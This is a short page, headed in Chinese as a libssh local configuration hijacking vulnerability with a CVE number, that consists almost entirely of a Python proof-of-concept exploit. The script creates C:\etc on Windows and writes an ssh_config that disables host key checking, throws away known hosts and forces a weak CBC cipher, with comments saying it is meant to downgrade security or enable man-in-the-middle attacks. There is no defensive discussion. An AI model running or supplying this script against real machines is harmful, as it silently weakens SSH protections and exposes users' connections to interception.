CVE-2025-14821 libssh本地配置劫持漏洞

import os # Target directory vulnerable on Windows target_dir = "C:\\etc" target_file = os.path.join(target_dir, "ssh_config") # Create the directory if it doesn't exist if not os.path.exists(target_dir): try: os.makedirs(target_dir) print(f"[+] Directory created: {target_dir}") except Exception as e: print(f"[-] Failed to create directory: {e}") exit(1) # Malicious configuration to downgrade security or MITM # Example: Disable strict host key checking and use a weak cipher malicious_config = """ Host * StrictHostKeyChecking no UserKnownHostsFile /dev/null Ciphers aes128-cbc """ # Write the malicious config with open(target_file, 'w') as f: f.write(malicious_config) print(f"[+] Malicious config written to {target_file}")